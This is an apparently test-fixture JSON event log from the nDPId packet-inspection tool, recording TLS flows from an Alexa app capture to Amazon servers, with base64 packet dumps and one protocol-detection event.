+00423{"flow_id":117,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1959,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976117,"pkt_ts_usec":4804,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoj3VAANsG6c427xi0rBAq2AG7krCs\/eb7YAHS2lARARws6wAAAAAAAAAA"} +00415{"flow_id":117,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1960,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976117,"pkt_ts_usec":5965,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAouXNAAEAGWtGsECrYNu8YtJKwAbtgAdLarP3m\/FAQAVcssAAA"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":51,"flow_packet_id":29,"flow_first_seen":1490976046418,"flow_last_seen":1490976048924,"flow_tot_l4_data_len":10393,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1214,"flow_avg_l4_data_len":358,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45680,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":54,"flow_packet_id":15,"flow_first_seen":1490976047096,"flow_last_seen":1490976048927,"flow_tot_l4_data_len":902,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45683,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":58,"flow_packet_id":19,"flow_first_seen":1490976054009,"flow_last_seen":1490976055604,"flow_tot_l4_data_len":3973,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1166,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45687,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":55,"flow_packet_id":21,"flow_first_seen":1490976047560,"flow_last_seen":1490976048909,"flow_tot_l4_data_len":9156,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":436,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54427,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":56,"flow_packet_id":22,"flow_first_seen":1490976047563,"flow_last_seen":1490976048928,"flow_tot_l4_data_len":6132,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":278,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42143,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":57,"flow_packet_id":23,"flow_first_seen":1490976047858,"flow_last_seen":1490976048917,"flow_tot_l4_data_len":5019,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":218,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42144,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":52,"flow_packet_id":25,"flow_first_seen":1490976047014,"flow_last_seen":1490976048924,"flow_tot_l4_data_len":7330,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":293,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34033,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":53,"flow_packet_id":43,"flow_first_seen":1490976047050,"flow_last_seen":1490976048924,"flow_tot_l4_data_len":23419,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":544,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34034,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00770{"flow_id":116,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1967,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":107055,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErJUlAAEAG7fisECrYNu8YtJKvAbsZEE7UqkY3+lAYAVdXdAAAFgMBAP4BAAD6AwPrW9HSsEakj6mtt\/VNcOse9OO4StwA3f8PEsza4rC61SAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAg6urMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACR2toAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABjKygABAA=="} +00424{"flow_id":116,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1968,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":335076,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoiX5AANsG78U27xi0rBAq2AG7kq+qRjf6GRBP11AQASyoigAAAAAAAAAA"} +00630{"flow_id":116,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1969,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":335216,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEiX9AANsG7yg27xi0rBAq2AG7kq+qRjf6GRBP11AYASwooQAAFgMDAGQCAABgAwNZS3nfHykATu3CC7mmoc0bUWm9K4e9z4q18mgLdytBOSAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACjewnNSd4iq4yrAhkxqFaRy27cheBPD04w9zfg+PVa226nC0Bx\/D34+"} +00814{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1969,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":116,"flow_packet_id":9,"flow_first_seen":1490976115905,"flow_last_seen":1490976118335,"flow_tot_l4_data_len":1141,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37551,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00418{"flow_id":116,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1970,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":338241,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoJUpAAEAG7vqsECrYNu8YtJKvAbsZEE\/XqkY4llAQAVunvwAA"} +00489{"flow_id":116,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1971,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":338805,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbJUtAAEAG7sasECrYNu8YtJKvAbsZEE\/XqkY4llAYAVsBzgAAFAMDAAEBFgMDACgAAAAAAAAAAPuw3vfT07cXH8vq\/blRyZQzQaizRHQlltz7tuMsMLX5"} +02398{"flow_id":116,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1972,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":351883,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcJUxAAEAG6USsECrYNu8YtJKvAbsZEFAKqkY4llAQAVskpwAAFwMDCxcAAAAAAAAAAbDA0awcoSZj\/cmHmodFtqWsaRwLMcP0AQLYfFlA7gOqSVi6G68dQgBCJ0RxOR+S40meHjuFDNamCqeas+vPbHIQwq5t0\/Fr8ZJ1ylxt\/mOidcttJL5EazrZeE7oQ5Dh6CY7+\/aUuI5ClXntzl0OfkC+VLOBDpt3B\/iJ2RKF63\/bPSg8YVERd4GQKCqJE+bRiUmQljE3d5qOwRGurLXdWkfPn91ysq5SItLS6xqP+wFngIXlQJuy0431zig16FZOFHZcY9GLLKxzEdP\/EHlfT2fWjjQz9OMJOSrOMo9NoBrCPn+E3DkmVsvcroGOaKiJ5VpZjP8Vl\/cn2bygKKs6zxFKksvq6dat1OQBm+kW1N0USv4hoqYUtPUD8mWw4RUPbPl8VLd28ibl1+pONk9YuzzvLh\/OejuYEJTNHa1J\/izyyikysEV8VX7umlyox50Ca6rtVgvYn+tXcdt7IFx9W5zGl0A2BLTyhVWgsk+FVU8CIdGEkDHDAxMRyMyHuIIqX9J7itKCL+zNj4VAR57NUO8joIGctOsyK57+vq6TQC\/\/TjLerF7IA7uhRqKHnM4UQZWCGwuidXpAoXvoE70UUNEW230Nn2XW5pdq2MxxcPDiIiaD0tVG+NNlCAgRnRNLJzQk0gZywFFmlMSwIyO4pJnxQbBRTasM2vvWKSSNWKygP1ErGKYSnAVw5Yit+8sZqsjAt5LJfr4Y02rb7dobO9iCySA2gCBIVAviY+htmCidKpF1fJm3n0eLM2k6ZF6s3ByJCdS37bvp0Y\/WJFRMvySiNVMXcayZ2xlnVf67Z2rmVCFH8YZh5IX5IWwXpnzBwgQUueqpAl7nWy5gCBz6dr\/PBXkbHDnCqaAmjsuf12s3UH2mzFipUWyn8XRJNFnH6PDSd7hMn9xs40870xxkMLna2yMpnipQN1afnfl6+GRuoQl9vlVzgzzr\/j74a3KWj0y+VVPEBFYlm46UyNRdvA3hQUuO4MByEWV7mVzRVDGQ0c5zADa6DrsXsC+lsocHm1XSMfY+tdbk2\/umUFdRg9HgRVUY6h3JEEx9crXdZOuRwtX3Cq2qeMjJDpUk5pkHxZmanRwZTvdBz8YPgwZbi\/TfIlKR4GJ0XrSCkYxSlJUUNywpCa0l3ljDdntCS3k\/zx9ubEng94M+ALvsePWJ4pVEl98eTdznLOZsi++VkcWmp3fqB5GfeEIIIr2JApduaImCibbYR045lvjzOvLIwH84glVehZ8VFQBWvtazuYaFwSddAZuCB9i8Fk\/tGlO73Z\/HQZJayB6QZJC5LsTH8gIob5Cl0rqE07Dr4N+ptG5F4J5qr1blh7BYvzfhEXBpLVBl\/Ju8WlNCxMqx387nZAJC5tV4r5MOQQ8qXqb8ug8AD+PbmxAxw4OD0phk0IsTgyg5iEsGdH\/3F9lfLg6Cj9ra2\/mTCJbrxxFz7XqXX\/3IT7vKajE5VUOhdRLXzxpdgfBYHseLqQPn6VRJmMVw5X2TXlKkkPYFMCxnlOOl5Z9Yo2qGjtxh8AIMyYAAIkiskwDCZE+wIhs3CSo6l3WbQFEDGUhJZgCnhKrnr9UTwOME5zh2D4mps9KszKepwMzpyS0yEhPOci3VVCCehnXRbQdfiyGKfuE9eMuRqMjljg+XEvqbV60Cfp5XBlilBSG4rfTwB+twa9kWKqUklDlgIG07apG2O9w5gwqIxEnvjwCQIA6GVYqCO48W\/pkXGiMdlaV9SuBj6TQUC6prv9f6al+UmoBK4BLVQJROcAXEWIzmid56SJPrMbnICrT3MmkoviUjCb9p6wBIpqJ26KYCb3gzbUlqADG21zQ3w+ZZRh6Oi7HnRRzagiI9+kR9zZe0kSkLvAdwOPg4TuVl0lZZgM9Ct1N4OH\/6dxq3PWI8aToM2yHYfxaG\/kA0q7iVxH+3X7cHq8faQ4Q="} +00425{"flow_id":116,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1973,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":434605,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoiYBAANsG78M27xi0rBAq2AG7kq+qRjiWGRBQClAQASynuwAAAAAAAAAA"} +02404{"flow_id":116,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1974,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":436142,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcJU1AAEAG6UOsECrYNu8YtJKvAbsZEFW+qkY4llAQAVuApgAAefZ3E5R4ptFDhrqiuqKQ0arcfcySBzOVFDD8D7x8tO8IqVOwmRMdlwxU8Q7eqMxfTk9EXeEqZG69TDXtXwcYCteDADsO\/pOCwcF8zPAqMc7udl1QUufQiSRy+bMy7tsSYQayZjU+ETw6XpcFH\/MINKZda5Ry8qTRDYWkuVqYXSaGlepAQ2Otyzpopwc5Y+DJeDq8nlfPJaaKjKKzljuGMukEPIE4F5GAgl\/Wl22H9kp+BxGb5bP5U\/lQPCh\/rppuVDAN6x6VD4GwYSsqFkCmGL8y787lhLjne\/th2r\/hyHdbmtlUN\/pDIx4Db5AsWS2iViwFyBbOHrDUXwuVLN9Lk0FgEWy6J4LHYtTlBw\/LZzwBbdDO1U4+Aqc8FaXdskutGqs\/5hjrhV6TetzTRCJ8wPbOfLIDK0N6Q3hbIHeVcbCgi6gjvKMGdEzOQxwyKk6H1NARGdy5V0r3aGFHoSklmCBcGyAezxpdQEsj\/xVcj2wI1e83jPOV4p2cL\/+lB9Ws+yT9IeL3Udq2mt8mbAbyMTTPZHsKW2wGAzYR1eQqaTXW7w6bbowdDJK2oPnSnI4sET72GaRTRc7ntU2WDE0QrjYcz4gYGACGWS42NqeeSp0ZixGfeTndUiiFSG2oq8pA9BrQH0IqT7Adtgb+dAtgvJ5BwX0ThAg6gvyjTkWT6xjQiRgslR4v5fjpCzTcmztcl3LOUxb5Kd4mFgfzX9AOXih09iPZ97cB5UMPpBuu5R0JvAQ7F1yBmOT5EqhGpADsS8qlu5ISWy\/BEHl6YF3butsFWiDRYyjo4vgyvjgKfhj4FQnIFe077blHQSGDticu5lzLFeg+yGWkFUWK2Dt9eDlEseS\/M4aa051gIpSn52C+uR3Vr3Y128QfrCsZsS8IQJvofRbMXMbF7eHV3xnFiYm+K6Dx1R25FXm4ZVMQ\/KNPSBkY6zk4osif3YhbDpK+bdxpJpzMdKJ7Na6\/fDHJgsDin1u9GEmLh897wAtREFn7Gnh4ZM9dB5DXq0+f\/ZFBXhPVH16Ma\/Gm21zuvPl1jkVVR90ahqVG+DE1JUN6bbeO1BLH4qYwhuAiFgGJAqDWto8yJFjXlcuoOqoYGllzcJeWiA8Ld8iph18HLEJgwTk7J+KdPMi8mdF9RaLe\/lbq3ZGj5thKeFFk8piTb04s+ysXvjIyo4P59HB26eH8vkQXKddypMjjY1CRcLezGKC6sqPooPLixBS5Dttv6W3iEgFLgsNWvpPW84IFfEg6yoXvTE5DR2bv5AlkYUasHF7UB3A3G9c4Lit6A\/72c9vB7GuA\/2Amem34vRruJ7\/iCpCQN4a8A1MWiqDsuDP9JPBD\/L0bV7xajJaI7t\/8XICiWiBexYbrIkVUmJJ2Gj\/4x+1pGcC4O+4eRQm0XYhP6kFEgTZK3S07T2P26Nb+5H4xBnmK7PU91msb4mfgwVVZ9qZq3tL+gcFq19tb24Lw5VuC+C\/l8gtt\/eE3vYV5AbrClNHw4uddlTzj6B+ih\/9os0U8SqnAP+BeRLz6R1MVqe42\/hUSd1S6up5cTn2Y7CcXpFjy8D+1nQCAReoAqxFs2aRB3T16o5U+hqTp6a12XsmAuN8ixazHD13j2DgSyJu7TDC2yPTIleVYenBf7qZhVqAb9uWTUvVVtDyGfWcTTJVI64oeYd87p5oO3jxD6HCgFPsnTklm7Txfuh\/cJNZVPr6msIVINVPEFd8afVgfnkcgS3PmVQ2PG6vADg55CR1Z\/7pQyIgumH+d\/74OHgQ1RAHKloo4UfPzgeb4XUqQymbrH8iMEXQJOCbUpCilIONhsAJsobY5hsfd4+ROH8H0kVe0k1WP5YcAjRcDAwFFAAAAAAAAAAKrYYEDMqGj8xcllxPaJCK05D8YW9ItB4n\/Y0ftzso+NbL8O4ykvj96hnStE2QwSjA0dn8ockcVAZgQIzG3CGs="} +00766{"flow_id":116,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1975,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":436432,"pkt_caplen":308,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":308,"pkt_l4_len":274,"pkt":"AMDKkaPvePiC0\/vCCABFAAEmJU5AAEAG7fisECrYNu8YtJKvAbsZEFtyqkY4llAYAVv26gAA8+MNFYinlBYjQ2Hj+t5wnhQlPi7Yzs44ocg4KG8IYqYc2GsURXaQW3BxKhWmcrGGN1WrTL43aw8nQfqeyFJ2UnsewknXI3JUNb\/7zlE998ToBOvb0Fl51wDtWY12H7KtoirKF\/YtRoZrnWS25hU5OICuJTWvnuwuixEEo\/z2nl5kdU321VNOzko3h9OrjraSd7TggyYO1vJF+SyaPIUHr0fnQkPB+mw62cXDU2zAsberg0Xw\/ERPF4fjd0a\/lsp60Tp+ltbxoMbBMwZy0yLWeZpDs76v+c6a8eZuM71USibf+Hsy5N8vsZORZy9ckRo2Gbi7aMKsp4n\/ZF+ZTsc="} +02403{"flow_id":114,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1977,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976118,"pkt_ts_usec":540723,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcCntAAEAGNtSsECrYNF7ohrKkAbvN5GJyckqsG1AQAVeaNAAAFwMBACCVAsolemIjTXyS\/AxBEL4EvwJ0AgReq+\/dnJ7py5eTpBcDAQZg6xglvGF9hWSdTgHU8J\/p7kC5Mb8Tnz1hzpxpzlSgY9JlhHfddFP0jIAckhlAB8bvDSzSkQOZC9Fwi333Ne2dMboIPIOxSnecNT6oQ3aZGWtoFqVKqPppEL06xLeMyQniid4tFddV264EfoQ\/ki1knEIczVHC371xWjSuvj05y5GWQwpM\/eCB6hqpM9R6hTsTAgihjOAke+CaFu8zCJXg0qNGqKDuA9D3QmzGz8RiD95u2a4kLOpoKEYHHAfTt3bAAvzsqB144p\/+TcHGpqAARQ2K1pp6OdFw+onGNERmDE\/bCJVYXS\/4HHc2JWCDqqMv84+DkviL91ZhESecn5c+FbWCymc0tIc2BNRNI6HdT2lu0sZ+SF6YHekt7iE\/MrOpllBQzCOzQ0Z3V6vLTPF7I+8MTMY6nTj\/JBcyTgOv3PVXXwoJF0f11WA9nRWsNXcK7BDtDbeYRbezBxAvhT08lqHUQd3LogQ3IPc\/abAtJWARzlBYR60cwuIbt3yjlf54qegoswcMJajxXn3FGZCKM\/h89BL1TZVuyFRtzm7xycs+93JVOo\/6hkCxqsO2QPxjeBchB\/tKyXpF8p3JQbTKxMaqqnZC2afJhwGp1rOHeciCyzhzcfoPKxTQEy7WSNtLZi5lMDj9NEGGolQ2e+c6wRBHu8BDwUSl2fPQfX8UBR6W3HXzcZwoNIeVVPmyd67QYZ6NOAGyofuw3t6q6VjwvVo7LI03Sf1lf8yEhphtQlZkNCY8RCXmPsss1ZQBJpldyUhCe1NKxbKpZRItFmefB3+Xh63oiT+nBgfxA4DTAiNi03XR8ePUL\/tVowuXzjNFka8RKvcK9BzZ+y\/iZ\/Xbgc8LI7AQs\/PUUiv1aeWIMBz1bGDKREUSJkSzhaX4uK+5EyCv27gSOkXKdFOOBtL6xYLLGtkFtXS\/pKJ2pI2CRZTKQNX\/cmoM+zEOjMR1PSSOluAESi9nO7yn92OLlaHXThyMsBSIq3rzh6rpBn1tE54aUFgbUCzum29kq9X2\/oAUrOUGIHrn+TEGip691opUerDj2btsgPahiMwnnM2S93HIAEmb3\/JaNbyugRJXSwNSVjnv84prJWkSIJeXOEbVaoMkNKfCQm8uYoxdDgv5HGSJ444Nskh08mq2cqmu\/zKf2DoEMk5PLByuURgUJalOd96QvF0yIFwTBQxuS+3KgljqKRqkkLDnR0r56NYqS5bRegdSuJlD3tmC+sfloI1QL0CANyIwycjklamgHPCdbPo+TL0JGxdDZNnsdAqRFqJ+qUMunJ5IVAI1puEvtaGAy0FlMqd5QWLzXyGttSz85GAbRL1paJxLbxnJznsw\/IG6MJQou2oqwjehxe2S0SUHZZxjo99oyq2zNWbdMcEp0Igt3vpdr0blYcbSxoyuHN3L1OnaIVJ0WTMfxCwfwqUwtPOr\/0oLdY7uE+Mkv0CazNXtdrSgFzqhxm3Xgq45cpgOOeBqy4v7TH\/ES24L69+NbLx8zCoDlHetHIXID8dU8p\/tKex\/X13\/VCHG8+6O2UEUd\/8evInUmNUCU60M0bvZhdxjm\/bo6Kz7iQ6P+qLaVapSr6UgbCYBRfk5Ccw6J6DeY3S9TdCPYauFCZVHAYuY6sWH1j73+OQPmnZyJARMqEHeKdsi3qy76b+u00g\/BlkbH+QBndiz1rLj0szcV2Exmiu+LQVoeggSdFoEavdsy+JmkvU5C3pUQwjMF9bBB7XLgeqitfiFz1nmH99Z86v3SYNpONBBKQ0GfDzdxyERgLsZ7jvl7zCMl8Cc5swSowOld7XDDWiawIfMld2aDSCRGm717RlCE2SgZtqPna+jEcN+PTGFVpGN36EolG02mN1UpTT+b8viZzm7zpC89YNxU99QOQzmWDEh7Qg="} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":60,"flow_packet_id":20,"flow_first_seen":1490976057977,"flow_last_seen":1490976058806,"flow_tot_l4_data_len":5219,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":260,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45688,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":64,"flow_packet_id":33,"flow_first_seen":1490976064452,"flow_last_seen":1490976068180,"flow_tot_l4_data_len":18692,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":566,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.216","src_port":54434,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":21,"flow_first_seen":1490976064328,"flow_last_seen":1490976064897,"flow_tot_l4_data_len":6078,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":289,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.135","src_port":42148,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":19,"flow_first_seen":1490976058103,"flow_last_seen":1490976058813,"flow_tot_l4_data_len":5117,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":269,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34041,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1490976130073,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40864,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2001,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":73503,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8j51AAEAGf0qsECrYNu8d\/Z+gAbt6Gf6DAAAAAKAC\/\/+QHQAAAgQFtAQCCAoA9nEeAAAAAAEDAwg="} +00431{"flow_id":118,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2002,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":307042,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAww\/RAAOcGo\/427x39rBAq2AG7n6DOZIqUehn+hHASH\/7FQwAAAgQFtAEDAwY="} +00417{"flow_id":118,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2003,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976130,"pkt_ts_usec":308849,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoj55AAEAGf12sECrYNu8d\/Z+gAbt6Gf6EzmSKlVAQAVcPtQAA"} 